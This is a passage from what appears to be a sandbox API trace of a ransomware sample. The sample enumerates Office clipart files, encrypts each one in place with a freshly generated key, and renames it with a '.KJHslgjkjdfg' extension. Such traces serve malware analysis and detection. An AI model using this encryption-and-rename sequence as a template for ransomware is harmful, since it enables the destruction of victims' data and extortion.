lpNewFilePointer=0x0) returned 1 [0187.055] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b54, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b54, lpOverlapped=0x0) returned 1 [0187.056] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b60, dwBufLen=0x1b60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b60) returned 1 [0187.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.057] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b60, lpOverlapped=0x0) returned 1 [0187.057] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.057] SetEndOfFile (hFile=0x130) returned 1 [0187.059] GetProcessHeap () returned 0x990000 [0187.059] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.060] GetProcessHeap () returned 0x990000 [0187.060] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.060] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.kjhslgjkjdfg")) returned 1 [0187.061] CloseHandle (hObject=0x130) returned 1 [0187.061] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd52c3c00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd52c3c00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0187.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.062] GetProcessHeap () returned 0x990000 [0187.062] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.063] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.063] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0187.065] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.065] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.065] GetProcessHeap () returned 0x990000 [0187.065] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.065] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.065] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.065] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.065] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.065] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.066] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.066] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.066] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.066] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.066] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.066] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.066] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2576, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2576, lpOverlapped=0x0) returned 1 [0187.067] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2580, dwBufLen=0x2580 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2580) returned 1 [0187.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.067] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2580, lpOverlapped=0x0) returned 1 [0187.067] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.068] SetEndOfFile (hFile=0x130) returned 1 [0187.070] GetProcessHeap () returned 0x990000 [0187.070] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.070] GetProcessHeap () returned 0x990000 [0187.070] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.070] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.kjhslgjkjdfg")) returned 1 [0187.071] CloseHandle (hObject=0x130) returned 1 [0187.071] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0187.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.072] GetProcessHeap () returned 0x990000 [0187.072] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.072] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.072] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.072] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.072] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.072] GetProcessHeap () returned 0x990000 [0187.072] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.072] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.072] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.072] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.075] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.075] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.076] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.076] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.076] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.076] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.076] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6ba0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6ba0, lpOverlapped=0x0) returned 1 [0187.077] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6ba0, dwBufLen=0x6ba0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6ba0) returned 1 [0187.078] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.078] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6ba0, lpOverlapped=0x0) returned 1 [0187.078] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.078] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.078] SetEndOfFile (hFile=0x130) returned 1 [0187.081] GetProcessHeap () returned 0x990000 [0187.081] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.081] GetProcessHeap () returned 0x990000 [0187.081] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.kjhslgjkjdfg")) returned 1 [0187.082] CloseHandle (hObject=0x130) returned 1 [0187.082] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0187.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.082] GetProcessHeap () returned 0x990000 [0187.082] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.083] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.083] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.084] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.084] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.084] GetProcessHeap () returned 0x990000 [0187.084] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.084] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.084] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.084] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.084] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.084] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.085] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.085] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.085] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.085] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.085] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2cec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2cec, lpOverlapped=0x0) returned 1 [0187.086] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2cf0) returned 1 [0187.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.086] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2cf0, lpOverlapped=0x0) returned 1 [0187.086] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.086] SetEndOfFile (hFile=0x130) returned 1 [0187.090] GetProcessHeap () returned 0x990000 [0187.090] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.090] GetProcessHeap () returned 0x990000 [0187.090] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.kjhslgjkjdfg")) returned 1 [0187.091] CloseHandle (hObject=0x130) returned 1 [0187.092] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0187.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.093] GetProcessHeap () returned 0x990000 [0187.093] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.093] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.093] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.095] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.096] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.096] GetProcessHeap () returned 0x990000 [0187.096] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.096] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.096] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.096] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.096] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.096] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.096] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.096] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.096] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.096] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.097] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1138, lpOverlapped=0x0) returned 1 [0187.097] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1140, dwBufLen=0x1140 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1140) returned 1 [0187.098] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.098] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1140, lpOverlapped=0x0) returned 1 [0187.098] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.098] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.098] SetEndOfFile (hFile=0x130) returned 1 [0187.101] GetProcessHeap () returned 0x990000 [0187.101] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.101] GetProcessHeap () returned 0x990000 [0187.101] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.101] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 